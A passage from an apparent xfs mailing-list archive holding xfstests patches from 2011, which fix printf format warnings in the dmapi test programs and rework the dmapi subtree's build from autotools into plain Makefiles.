hans1, - "offset", msg_de->de_offset, - "length", msg_de->de_length); + "offset", (long long) msg_de->de_offset, + "length", (long long) msg_de->de_length); break; case DM_EVENT_WRITE: printf(HDR VALS VALLLD VALLLD, "write", msg->ev_token, msg->ev_sequence, "file handle", hans1, - "offset", msg_de->de_offset, - "length", msg_de->de_length); + "offset", (long long) msg_de->de_offset, + "length", (long long) msg_de->de_length); break; case DM_EVENT_TRUNCATE: printf(HDR VALS VALLLD VALLLD, "truncate", msg->ev_token, msg->ev_sequence, "file handle", hans1, - "offset", msg_de->de_offset, - "length", msg_de->de_length); + "offset", (long long) msg_de->de_offset, + "length", (long long) msg_de->de_length); break; default: break; } @@ -658,7 +658,7 @@ handle_message( /***** NAMESPACE EVENTS *****/ else { - char *type; + char *type = NULL; msg_ne = DM_GET_VALUE(msg, ev_data, dm_namesp_event_t *); hanp1 = DM_GET_VALUE(msg_ne, ne_handle1, void *); @@ -1168,7 +1168,7 @@ finish_responding( int error = 0; u_int nbytes, ntokens = 0, ret_ntokens, i; dm_token_t *tokenbuf = NULL, *tokenptr; - size_t buflen, ret_buflen; + size_t buflen = 0, ret_buflen; char *msgbuf = NULL; dm_eventmsg_t *msg; Index: b/dmapi/src/suite2/src/invis_test.c =================================================================== --- a/dmapi/src/suite2/src/invis_test.c +++ b/dmapi/src/suite2/src/invis_test.c @@ -100,7 +100,8 @@ main( int i; int reuse_file = 0; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; @@ -157,9 +158,10 @@ main( } if( Vflag ) - printf("using length = %llu\n", length ); + printf("using length = %llu\n", (unsigned long long) length); if( length > BUFSZ ){ - fprintf(stderr, "length(%llu) > BUFSZ(%d)\n", length, BUFSZ); + fprintf(stderr, "length(%llu) > BUFSZ(%d)\n", + (unsigned long long) length, BUFSZ); exit(1); } @@ -174,13 +176,15 @@ main( exit(1); } if( rc != length ){ - fprintf(stderr, "dm_read_invis read %lld bytes, wanted to write %lld bytes\n", - rc, length ); + fprintf(stderr, "dm_read_invis read %llu bytes, " + "wanted to write %lld bytes\n", + (long long) rc, (unsigned long long) length); dm_handle_free(hanp, hlen); exitstat++; } else { - printf("dm_read_invis read %lld bytes\n", rc); + printf("dm_read_invis read %lld bytes\n", + (long long) rc); } in_err_block = 0; @@ -193,7 +197,10 @@ main( } else { /* end of bad block */ - fprintf(stderr, "read err block: byte %lld to %lld\n", errblockstart, errblockend); + fprintf(stderr, "read err block: " + "byte %lld to %lld\n", + (long long) errblockstart, + (long long) errblockend); in_err_block = 0; } } @@ -205,7 +212,9 @@ main( } if( in_err_block ){ /* end of bad block */ - fprintf(stderr, "read err block: byte %lld to %lld\n", errblockstart, errblockend); + fprintf(stderr, "read err block: byte %lld to %lld\n", + (long long) errblockstart, + (long long) errblockend); in_err_block = 0; } } @@ -221,12 +230,13 @@ main( exit(1); } if( rc != length ){ - fprintf(stderr, "dm_write_invis wrote %lld bytes, wanted to write %lld bytes\n", - rc, length ); + fprintf(stderr, "dm_write_invis wrote %lld bytes, " + "wanted to write %lld bytes\n", + (long long) rc, (long long) length ); dm_handle_free(hanp, hlen); exit(1); } - printf("dm_write_invis wrote %lld bytes\n", rc); + printf("dm_write_invis wrote %lld bytes\n", (long long) rc); } dm_handle_free(hanp, hlen); Index: b/dmapi/src/suite2/src/mmap.c =================================================================== --- a/dmapi/src/suite2/src/mmap.c +++ b/dmapi/src/suite2/src/mmap.c @@ -121,11 +121,13 @@ static int mfile_opt(char * s, mfile_t * static void print_flags(char *s, mfile_t *f); static void Usage(void); +int main(int argc, char * argv[]) { int opt; - if ((Progname = strrchr(argv[0], '/')) == NULL) + Progname = strrchr(argv[0], '/'); + if (Progname == NULL) Progname = argv[0]; else Progname++; Index: b/dmapi/src/suite2/src/region_test.c =================================================================== --- a/dmapi/src/suite2/src/region_test.c +++ b/dmapi/src/suite2/src/region_test.c @@ -83,7 +83,8 @@ main( size_t hlen; dm_boolean_t exactflag; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite2/src/send_msg.c =================================================================== --- a/dmapi/src/suite2/src/send_msg.c +++ b/dmapi/src/suite2/src/send_msg.c @@ -70,7 +70,8 @@ main( int opt; dm_msgtype_t msgtype = DM_MSGTYPE_SYNC; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite2/src/test_bulkall.c =================================================================== --- a/dmapi/src/suite2/src/test_bulkall.c +++ b/dmapi/src/suite2/src/test_bulkall.c @@ -172,14 +172,14 @@ my_print_victim( else { char handle_str[HANDLE_STR]; if (verbose & V_PRINT) { - printf("%d\t", hlen); + printf("%zd\t", hlen); hantoa(hanp, hlen, handle_str); printf("%s ", handle_str); if (extras) { printf("size=%lld ", - (int64_t)sbuf->dt_size); + (long long) sbuf->dt_size); printf("ino=%lld ", - (int64_t)sbuf->dt_ino); + (long long) sbuf->dt_ino); } } @@ -271,7 +271,8 @@ scan_fs( mask, dmattr, &locp, buflen, dm_xstatbuf, &rlenp); if (verbose & V_VERBOSE) - fprintf(stderr, "BULKALL more=%d, rlen=%d\n", more, rlenp); + fprintf(stderr, "BULKALL more=%d, rlen=%zd\n", + more, rlenp); if (more == -1) { errno_msg("%s/%d: Can't get bulkall for filesystem", __FILE__, __LINE__, errno); break; Index: b/dmapi/src/suite2/src/test_bulkattr.c =================================================================== --- a/dmapi/src/suite2/src/test_bulkattr.c +++ b/dmapi/src/suite2/src/test_bulkattr.c @@ -164,7 +164,7 @@ my_print_victim( else { char handle_str[HANDLE_STR]; if (verbose & V_PRINT) { - printf("%d\t", hlen); + printf("%zd\t", hlen); hantoa(hanp, hlen, handle_str); printf("%s ", handle_str); } @@ -187,7 +187,7 @@ my_print_victim( if( isalpha(buf[0]) ) printf("(%s)\n", buf); else - printf("\n",rlen); + printf("\n",rlen); } } } @@ -251,7 +251,8 @@ scan_fs( more = dm_get_bulkattr(sid, fs_hanp, fs_hlen, DM_NO_TOKEN, mask, &locp, buflen, dm_statbuf, &rlenp); if (verbose & V_VERBOSE) - fprintf(stderr, "BULKATTR more=%d, rlen=%d\n", more, rlenp); + fprintf(stderr, "BULKATTR more=%d, rlen=%zd\n", + more, rlenp); if (more == -1) { errno_msg("%s/%d: Can't get bulkattr for filesystem", __FILE__, __LINE__, errno); break; Index: b/dmapi/src/suite2/src/test_dmattr.c =================================================================== --- a/dmapi/src/suite2/src/test_dmattr.c +++ b/dmapi/src/suite2/src/test_dmattr.c @@ -101,7 +101,8 @@ main( struct stat *statbuf; struct stat *checkbuf; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; @@ -224,7 +225,7 @@ main( bufp, &rlenp)) { if (errno == E2BIG) { fprintf(stderr, "dm_get_dmattr buffer too small, " - "should be %d bytes\n", rlenp); + "should be %zd bytes\n", rlenp); } else { fprintf(stderr, "dm_get_dmattr failed (%s) for test file %d\n", ERR_NAME, i); Index: b/dmapi/src/suite2/src/test_efault.c =================================================================== --- a/dmapi/src/suite2/src/test_efault.c +++ b/dmapi/src/suite2/src/test_efault.c @@ -84,7 +84,8 @@ main(int argc, char **argv) { char command[100]; int opt; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; @@ -170,7 +171,7 @@ main(int argc, char **argv) { */ { u_int nelem=5; - u_int *nelemp; + u_int *nelemp = NULL; dm_eventset_t *eventsetp; eventsetp = (dm_eventset_t *)malloc(nelem*sizeof(dm_eventset_t)); if (eventsetp == NULL) { @@ -198,7 +199,7 @@ main(int argc, char **argv) { { size_t buflen = 5; void *bufp = (void *)malloc(buflen*sizeof(dm_attrlist_t)); - size_t *rlenp; + size_t *rlenp = NULL; ERRTEST(EFAULT, "getall_dmattr (NULL handle)", dm_getall_dmattr(sid, NULL, hlen, DM_NO_TOKEN, buflen, bufp, rlenp)) Index: b/dmapi/src/suite2/src/test_eventlist.c =================================================================== --- a/dmapi/src/suite2/src/test_eventlist.c +++ b/dmapi/src/suite2/src/test_eventlist.c @@ -93,7 +93,8 @@ main( void *test_vp; u_int nelemp; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite2/src/test_fileattr.c =================================================================== --- a/dmapi/src/suite2/src/test_fileattr.c +++ b/dmapi/src/suite2/src/test_fileattr.c @@ -123,7 +123,7 @@ comp_stat ( dm_stat_t expected, if (found.dt_size != expected.dt_size) { fprintf(stderr, "ERROR: get #%d, expected size %lld, but found %lld\n", - i, expected.dt_size, found.dt_size); + i, (long long) expected.dt_size, (long long) found.dt_size); } else good++; if (Vflag){ @@ -183,7 +183,8 @@ main( char *chk_name_p; int chk_num; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; @@ -405,7 +406,8 @@ main( } else { /* Put JUST name (not path) from check_name into chk_name_p */ - if (chk_name_p = strrchr(check_name, '/')) chk_name_p++; + chk_name_p = strrchr(check_name, '/'); + if (chk_name_p) chk_name_p++; else chk_name_p = check_name; /* Verify that check_name_p holds a testfile name */ if (strncmp(chk_name_p, "DMAPI_fileattr_test.",20)==0) { @@ -679,7 +681,7 @@ main( ERRTEST(EFAULT, "get_bulk (bad rlenp)", dm_get_bulkattr(sid, fs_hanp, fs_hlen, DM_NO_TOKEN, GET_MASK, &loc, buflen, bufp, - (u_int*)(-1000))) + (size_t *) (-1000))) ERRTEST(EFAULT, "get_bulk (bad bufp)", dm_get_bulkattr(sid, fs_hanp, fs_hlen, DM_NO_TOKEN, GET_MASK, &loc, buflen, p, &rlen)) Index: b/dmapi/src/suite2/src/test_hole.c =================================================================== --- a/dmapi/src/suite2/src/test_hole.c +++ b/dmapi/src/suite2/src/test_hole.c @@ -90,7 +90,8 @@ main( struct stat checkbuf; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite2/src/test_invis.c =================================================================== --- a/dmapi/src/suite2/src/test_invis.c +++ b/dmapi/src/suite2/src/test_invis.c @@ -102,7 +102,8 @@ main( int cont; int error_reported; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; @@ -180,7 +181,8 @@ main( if(curlength>0) free(bufp); if ((bufp = malloc(length)) == NULL) { - fprintf(stderr, "malloc of %llu bytes failed\n", length); + fprintf(stderr, "malloc of %llu bytes failed\n", + (unsigned long long) length); continue; } curlength = length; @@ -195,7 +197,7 @@ main( cont=1; } else if (rc != length) { fprintf(stderr, "expected to write %lld bytes, actually " - "wrote %lld\n", length, rc); + "wrote %lld\n", (long long) length, (long long) rc); cont=1; } if(cont) @@ -238,7 +240,7 @@ main( } else if (rc != length) { fprintf(stderr, "expected to read %lld bytes, actually " - "wrote %lld\n", length, rc); + "wrote %lld\n", (long long) length, (long long) rc); continue; } else { Index: b/dmapi/src/suite2/src/test_region.c =================================================================== --- a/dmapi/src/suite2/src/test_region.c +++ b/dmapi/src/suite2/src/test_region.c @@ -95,7 +95,8 @@ main( int Vflag = 0; dm_token_t test_token = DM_NO_TOKEN; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; Index: b/dmapi/src/suite2/src/test_rights.c =================================================================== --- a/dmapi/src/suite2/src/test_rights.c +++ b/dmapi/src/suite2/src/test_rights.c @@ -91,7 +91,8 @@ main(int argc, char **argv) { int opt; int i=0; - if (Progname = strrchr(argv[0], '/')) { + Progname = strrchr(argv[0], '/'); + if (Progname) { Progname++; } else { Progname = argv[0]; From aelder@sgi.com Fri Mar 4 13:57:31 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.5 required=5.0 tests=BAYES_00,J_CHICKENPOX_54, J_CHICKENPOX_65,J_CHICKENPOX_66,J_CHICKENPOX_92 autolearn=no version=3.4.0-r929098 Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24JvU4k185849 for ; Fri, 4 Mar 2011 13:57:31 -0600 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by relay2.corp.sgi.com (Postfix) with ESMTP id AE92030408D; Fri, 4 Mar 2011 12:00:22 -0800 (PST) Received: from stout.americas.sgi.com (localhost6.localdomain6 [127.0.0.1]) by stout.americas.sgi.com (8.14.4/8.14.2) with ESMTP id p24K0MiZ005564; Fri, 4 Mar 2011 14:00:22 -0600 Received: (from aelder@localhost) by stout.americas.sgi.com (8.14.4/8.14.4/Submit) id p24K0MS1005563; Fri, 4 Mar 2011 14:00:22 -0600 From: Alex Elder Message-Id: <201103042000.p24K0MS1005563@stout.americas.sgi.com> Date: Fri, 04 Mar 2011 14:00:22 -0600 To: xfs@oss.sgi.com Subject: [PATCH] xfstests: rework "dmapi" subtree build mechanism User-Agent: Heirloom mailx 12.5 7/5/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on oss.sgi.com X-Virus-Status: Clean Well that didn't work so well... Turns out there was over a megabyte of deleted stuff here, and that didn't fly on the mailing list. Here's a new version of the patch, where I've basically cut off the majority of it, leaving only the "Index" lines for the files that got deleted. This ought to make it through the mailer just fine... -Alex --------------- The "dmapi" subtree was developed separate from and sort of wedged into the rest of the "xfstests" code. As a result, it has a lot of build infrastructure that's just different from the unified way used for everything else. This patch changes all that, making the "dmapi" subtree be a more normal component of "xfstests" with respect to its build process. This involves removing all the cruft needed and used by the dmapi "configure" script, and replacing each "Makefile.am" file with a proper "Makefile" that includes a simple set of rules that are compatible with the broader "xfstests" build. The result is a much cleaner, consistent build. It also deletes a considerable amount of code. Note: My patches normally keep files in sorted order, but in this case I have rearranged them so all the *new* and *changed* files are first, leaving deleted files at the end (starting with "dmapi/Makefile.am"). Signed-off-by: Alex Elder --- .gitignore | 21 Makefile | 19 dmapi/Makefile | 16 dmapi/Makefile.am | 7 dmapi/Makefile.in | 577 - dmapi/README.build | 11 dmapi/aclocal.m4 | 7227 ------------- dmapi/config.guess | 1460 -- dmapi/config.sub | 1549 -- dmapi/configure |20709 --------------------------------------- dmapi/configure.ac | 42 dmapi/depcomp | 522 dmapi/install-sh | 322 dmapi/ltmain.sh | 6402 ------------ dmapi/missing | 360 dmapi/src/Makefile | 21 dmapi/src/Makefile.am | 8 dmapi/src/Makefile.in | 459 dmapi/src/common/Makefile | 22 dmapi/src/common/Makefile.am | 3 dmapi/src/common/Makefile.in | 453 dmapi/src/common/cmd/Makefile | 30 dmapi/src/common/cmd/Makefile.am | 9 dmapi/src/common/cmd/Makefile.in | 473 dmapi/src/common/lib/Makefile | 30 dmapi/src/common/lib/Makefile.am | 10 dmapi/src/common/lib/Makefile.in | 453 dmapi/src/sample_hsm/Makefile | 31 dmapi/src/sample_hsm/Makefile.am | 11 dmapi/src/sample_hsm/Makefile.in | 487 dmapi/src/simple/Makefile | 32 dmapi/src/simple/Makefile.am | 8 dmapi/src/simple/Makefile.in | 482 dmapi/src/suite1/Makefile | 18 dmapi/src/suite1/Makefile.am | 3 dmapi/src/suite1/Makefile.in | 453 dmapi/src/suite1/cmd/Makefile | 55 dmapi/src/suite1/cmd/Makefile.am | 64 dmapi/src/suite1/cmd/Makefile.in | 940 - dmapi/src/suite2/Makefile | 18 dmapi/src/suite2/Makefile.am | 3 dmapi/src/suite2/Makefile.in | 453 dmapi/src/suite2/src/Makefile | 38 dmapi/src/suite2/src/Makefile.am | 26 dmapi/src/suite2/src/Makefile.in | 579 - include/builddefs.in | 1 46 files changed, 316 insertions(+), 44601 deletions(-) Index: b/.gitignore =================================================================== --- a/.gitignore +++ b/.gitignore @@ -12,27 +12,6 @@ include/config.h include/config.h.in lib/.libs -dmapi/Makefile -dmapi/config.log -dmapi/config.status -dmapi/libtool -dmapi/src/Makefile -dmapi/src/common/Makefile -dmapi/src/common/cmd/.deps -dmapi/src/common/cmd/Makefile -dmapi/src/common/lib/.deps -dmapi/src/common/lib/Makefile -dmapi/src/sample_hsm/.deps -dmapi/src/sample_hsm/Makefile -dmapi/src/simple/.deps -dmapi/src/simple/Makefile -dmapi/src/suite1/Makefile -dmapi/src/suite1/cmd/.deps -dmapi/src/suite1/cmd/Makefile -dmapi/src/suite2/Makefile -dmapi/src/suite2/src/.deps -dmapi/src/suite2/src/Makefile - ltp/aio-stress ltp/doio ltp/fsstress Index: b/Makefile =================================================================== --- a/Makefile +++ b/Makefile @@ -30,25 +30,19 @@ LSRCFILES = configure configure.in acloc LDIRT = config.log .ltdep .dep config.status config.cache confdefs.h \ conftest* check.log check.time -ifeq ($(HAVE_DMAPI), true) -DMAPI_MAKEFILE = dmapi/Makefile -endif - LIB_SUBDIRS = include lib TOOL_SUBDIRS = ltp src m4 +ifeq ($(HAVE_DMAPI), true) +TOOL_SUBDIRS += dmapi +endif SUBDIRS = $(LIB_SUBDIRS) $(TOOL_SUBDIRS) -default: include/builddefs include/config.h $(DMAPI_MAKEFILE) new remake check $(TESTS) +default: include/builddefs include/config.h new remake check $(TESTS) ifeq ($(HAVE_BUILDDEFS), no) $(Q)$(MAKE) $(MAKEOPTS) $@ else $(Q)$(MAKE) $(MAKEOPTS) $(SUBDIRS) -ifeq ($(HAVE_DMAPI), true) - # automake doesn't always support "default" target - # so do dmapi make explicitly with "all" - $(Q)$(MAKE) $(MAKEOPTS) -C $(TOPDIR)/dmapi all -endif endif # tool/lib dependencies @@ -69,11 +63,6 @@ include/builddefs include/config.h: conf --libexecdir=/usr/lib \ --enable-lib64=yes -ifeq ($(HAVE_DMAPI), true) -$(DMAPI_MAKEFILE): - $(Q)cd $(TOPDIR)/dmapi && ./configure -endif - aclocal.m4:: aclocal --acdir=`pwd`/m4 --output=$@ Index: b/dmapi/Makefile =================================================================== --- /dev/null +++ b/dmapi/Makefile @@ -0,0 +1,16 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR = .. + +include $(TOPDIR)/include/builddefs + +SUBDIRS = src + +default: $(SUBDIRS) + +include $(BUILDRULES) + +install: default + Index: b/dmapi/src/Makefile =================================================================== --- /dev/null +++ b/dmapi/src/Makefile @@ -0,0 +1,21 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR = ../.. + +include $(TOPDIR)/include/builddefs + +LIB_SUBDIRS = common +TOOL_SUBDIRS = sample_hsm simple suite1 suite2 + +SUBDIRS = $(LIB_SUBDIRS) $(TOOL_SUBDIRS) + +default: $(SUBDIRS) + +$(TOOL_SUBDIRS): $(LIB_SUBDIRS) + +include $(BUILDRULES) + +install: default + Index: b/dmapi/src/common/Makefile =================================================================== --- /dev/null +++ b/dmapi/src/common/Makefile @@ -0,0 +1,22 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR = ../../.. + +include $(TOPDIR)/include/builddefs + +LIB_SUBDIRS = lib +TOOL_SUBDIRS = cmd + +SUBDIRS = $(LIB_SUBDIRS) $(TOOL_SUBDIRS) + +default: $(SUBDIRS) + +$(TOOL_SUBDIRS): $(LIB_SUBDIRS) + +include $(BUILDRULES) + +install: default + +install-dev: Index: b/dmapi/src/common/cmd/Makefile =================================================================== --- /dev/null +++ b/dmapi/src/common/cmd/Makefile @@ -0,0 +1,30 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR = ../../../.. + +include $(TOPDIR)/include/builddefs + +TARGETS = read_invis set_region set_return_on_destroy write_invis + +CFILES = $(TARGETS:=.c) +LDIRT = $(TARGETS) + +CFLAGS += -I.. -I/usr/include/xfs + +LLDLIBS = $(TOPDIR)/dmapi/src/common/lib/libdmtest.la $(LIBDM) + +default: depend $(TARGETS) + +depend: .dep + +include $(BUILDRULES) + +install install-dev: default + +$(TARGETS): $(LLDLIBS) + @echo " [CC] $@" + $(Q)$(LTLINK) $@.c -o $@ $(CFLAGS) $(LDFLAGS) $(LDLIBS) + +-include .dep Index: b/dmapi/src/common/lib/Makefile =================================================================== --- /dev/null +++ b/dmapi/src/common/lib/Makefile @@ -0,0 +1,30 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR = ../../../.. + +include $(TOPDIR)/include/builddefs + +LTLIBRARY = libdmtest.la + +LTLDFLAGS = -static + +LT_CURRENT = 1 +LT_REVISION = 0 +LT_AGE = 0 + +CFILES = find_session.c print.c stubs.c util.c +HFILES = hsm.h dmport.h + +CFLAGS += -I$(TOPDIR)/dmapi/src/common -I/usr/include/xfs + +default: depend $(LTLIBRARY) + +depend: .ltdep + +include $(BUILDRULES) + +install install-dev: default + +-include .ltdep Index: b/dmapi/src/sample_hsm/Makefile =================================================================== --- /dev/null +++ b/dmapi/src/sample_hsm/Makefile @@ -0,0 +1,31 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR = ../../.. + +include $(TOPDIR)/include/builddefs + +TARGETS = migfind migin migout mls mrmean wbee + +CFILES = $(TARGETS:=.c) +LDIRT = $(TARGETS) + +CFLAGS += -I$(TOPDIR)/dmapi/src/common -I/usr/include/xfs + +LLDLIBS = $(TOPDIR)/dmapi/src/common/lib/libdmtest.la $(LIBDM) + +default: depend $(TARGETS) + +depend: .dep + +include $(BUILDRULES) + +install install-dev: default + +$(TARGETS): $(LLDLIBS) + @echo " [CC] $@" + $(Q)$(LTLINK) $@.c -o $@ $(CFLAGS) $(LDFLAGS) $(LDLIBS) + +-include .dep + Index: b/dmapi/src/simple/Makefile =================================================================== --- /dev/null +++ b/dmapi/src/simple/Makefile @@ -0,0 +1,32 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR = ../../.. + +include $(TOPDIR)/include/builddefs + +TARGETS = dm_create_session dm_destroy_session dm_find_eventmsg \ + dm_getall_sessions dm_getall_tokens dm_query_session + +CFILES = $(TARGETS:=.c) +LDIRT = $(TARGETS) + +CFLAGS += -I$(TOPDIR)/dmapi/src/common -I/usr/include/xfs + +LLDLIBS = $(LIBDM) + +default: depend $(TARGETS) + +depend: .dep + +include $(BUILDRULES) + +install install-dev: default + +$(TARGETS): + @echo " [CC] $@" + $(Q)$(LTLINK) $@.c -o $@ $(CFLAGS) $(LDFLAGS) $(LDLIBS) + +-include .dep + Index: b/dmapi/src/suite1/Makefile =================================================================== --- /dev/null +++ b/dmapi/src/suite1/Makefile @@ -0,0 +1,18 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR = ../../.. + +include $(TOPDIR)/include/builddefs + +SUBDIRS = cmd + +default: $(SUBDIRS) + +include $(BUILDRULES) + +install: default + +install-dev: + Index: b/dmapi/src/suite1/cmd/Makefile =================================================================== --- /dev/null +++ b/dmapi/src/suite1/cmd/Makefile @@ -0,0 +1,55 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR = ../../../.. + +include $(TOPDIR)/include/builddefs + +# things needing -ldm -lhandle -ldmtest +DM_TARGS = test_assumption get_eventlist set_eventlist set_disp \ + get_region get_dmattr set_dmattr remove_dmattr \ + probe_hole probe_punch_xfsctl_hole punch_hole \ + get_fileattr sync_by_handle getall_dmattr \ + set_fileattr path_to_handle path_to_fshandle \ + get_mountinfo getall_disp get_events dm_handle \ + handle_to_fshandle get_config_events get_allocinfo \ + create_userevent request_right release_right \ + upgrade_right query_right downgrade_right \ + obj_ref_hold obj_ref_rele obj_ref_query print_event \ + get_dirattrs + +# things needing -ldm -lhandle +NT_TARGS = fd_to_handle handle_to_path init_service pending \ + print_fshandle respond_event + +# things needing -ldm -ldmtest +NTDM_TARGS = make_sparse randomize_file rwt struct_test + +# things left out for some reason... +UNUSED_TARGS = make_rt_sparse security_hole2 security_hole + +TARGETS = $(DM_TARGS) $(NT_TARGS) $(NTDM_TARGS) link_test + +CFILES = $(TARGETS:=.c) +LDIRT = $(TARGETS) + +CFLAGS += -I$(TOPDIR)/dmapi/src/common -I/usr/include/xfs + +LLDLIBS = $(TOPDIR)/dmapi/src/common/lib/libdmtest.la $(LIBDM) + +default: depend $(TARGETS) + +depend: .dep + +include $(BUILDRULES) + +install install-dev: default + +$(TARGETS): $(LLDLIBS) + @echo " [CC] $@" + $(Q)$(LTLINK) $@.c -o $@ $(CFLAGS) $(LDFLAGS) $(LDLIBS) + +-include .dep + + Index: b/dmapi/src/suite2/Makefile =================================================================== --- /dev/null +++ b/dmapi/src/suite2/Makefile @@ -0,0 +1,18 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR = ../../.. + +include $(TOPDIR)/include/builddefs + +SUBDIRS = src + +default: $(SUBDIRS) + +include $(BUILDRULES) + +install: default + +install-dev: + Index: b/dmapi/src/suite2/src/Makefile =================================================================== --- /dev/null +++ b/dmapi/src/suite2/src/Makefile @@ -0,0 +1,38 @@ +# +# Copyright (c) 2011 SGI All Rights Reserved. +# + +TOPDIR = ../../../.. + +include $(TOPDIR)/include/builddefs + +TARGETS = test_rights test_fileattr test_hole test_dmattr \ + test_eventlist test_region test_bulkall \ + test_bulkattr send_msg dm_test_daemon test_invis \ + invis_test region_test test_efault mmap + +# things left out for some reason... +UNUSED_TARGS = check_dmapi.c mmap_cp.c mm_fill.c + +CFILES = $(TARGETS:=.c) +LDIRT = $(TARGETS) + +CFLAGS += -I.. -I$(TOPDIR)/dmapi/src/common -I/usr/include/xfs + +LLDLIBS = $(TOPDIR)/dmapi/src/common/lib/libdmtest.la $(LIBDM) + +default: depend $(TARGETS) + +depend: .dep + +include $(BUILDRULES) + +install install-dev: default + +$(TARGETS): $(LLDLIBS) + @echo " [CC] $@" + $(Q)$(LTLINK) $@.c -o $@ $(CFLAGS) $(LDFLAGS) $(LDLIBS) + +-include .dep + + Index: b/include/builddefs.in =================================================================== --- a/include/builddefs.in +++ b/include/builddefs.in @@ -22,6 +22,7 @@ LIBATTR = @libattr@ LIBGDBM = @libgdbm@ LIBUUID = @libuuid@ LIBHANDLE = @libhdl@ +LIBDM = @libdm@ LIBTEST = $(TOPDIR)/lib/libtest.la PKG_NAME = @pkg_name@ Index: b/dmapi/Makefile.am (deleted) Index: b/dmapi/Makefile.in (deleted) Index: b/dmapi/README.build (deleted) Index: b/dmapi/aclocal.m4 (deleted) Index: b/dmapi/config.guess (deleted) Index: b/dmapi/config.sub (deleted) Index: b/dmapi/configure (deleted) Index: b/dmapi/configure.ac (deleted) Index: b/dmapi/depcomp (deleted) Index: b/dmapi/install-sh (deleted) Index: b/dmapi/ltmain.sh (deleted) Index: b/dmapi/missing (deleted) Index: b/dmapi/src/Makefile.am (deleted) Index: b/dmapi/src/Makefile.in (deleted) Index: b/dmapi/src/common/Makefile.am (deleted) Index: b/dmapi/src/common/Makefile.in (deleted) Index: b/dmapi/src/common/cmd/Makefile.am (deleted) Index: b/dmapi/src/common/cmd/Makefile.in (deleted) Index: b/dmapi/src/common/lib/Makefile.am (deleted) Index: b/dmapi/src/common/lib/Makefile.in (deleted) Index: b/dmapi/src/sample_hsm/Makefile.am (deleted) Index: b/dmapi/src/sample_hsm/Makefile.in (deleted) Index: b/dmapi/src/simple/Makefile.am (deleted) Index: b/dmapi/src/simple/Makefile.in (deleted) Index: b/dmapi/src/suite1/Makefile.am (deleted) Index: b/dmapi/src/suite1/Makefile.in (deleted) Index: b/dmapi/src/suite1/cmd/Makefile.am (deleted) Index: b/dmapi/src/suite1/cmd/Makefile.in (deleted) Index: b/dmapi/src/suite2/Makefile.am (deleted) Index: b/dmapi/src/suite2/Makefile.in (deleted) Index: b/dmapi/src/suite2/src/Makefile.am (deleted) Index: b/dmapi/src/suite2/src/Makefile.in (deleted) From aelder@sgi.com Fri Mar 4 14:19:22 2011 X-Spam-Checker-Version: SpamAssassin 3.4.0-r929098 (2010-03-30) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=-1.9 required=5.0 tests=BAYES_00 autolearn=ham version=3.4.0-r929098 Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (8.14.3/8.14.3/SuSE Linux 0.8) with ESMTP id p24KJLv4186879 for ; Fri, 4 Mar 2011 14:19:22 -0600 Received: from stout.americas.sgi.com (stout.americas.sgi.com [128.162.232.50]) by relay2.corp.sgi.com (Postfix) with ESMTP id 11792304097; Fri, 4 Mar 2011 12:22:11 -0800 (PST) Received: from stout.americas.sgi.com (localhost6.localdomain6 [127.0.0.1]) by stout.americas.sgi.com (8.14.4/8.14.2) with ESMTP id p24KMAbZ008219; Fri, 4 Mar 2011 14:22:10 -0600 Received: (from aelder@localhost) by stout.americas.sgi.com (8.14.4/8.14.4/Submit) id p24KMAss008218; Fri, 4 Mar 2011 14:22:10 -0600 From: Alex Elder Message-Id: <201103042022.p24KMAss008218@stout.americas.sgi.com> Date: Fri, 04 Mar 2011 14:22:10 -0600 To: xfs@oss.sgi.com Subject: [PATCH] xfstests: make 127 and 134 clean up after themselves User-Agent: Heirloom mailx 12.5 7/5/10 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Virus-Scanned: ClamAV version 0.94.2, clamav-milter version 0.94.2 on 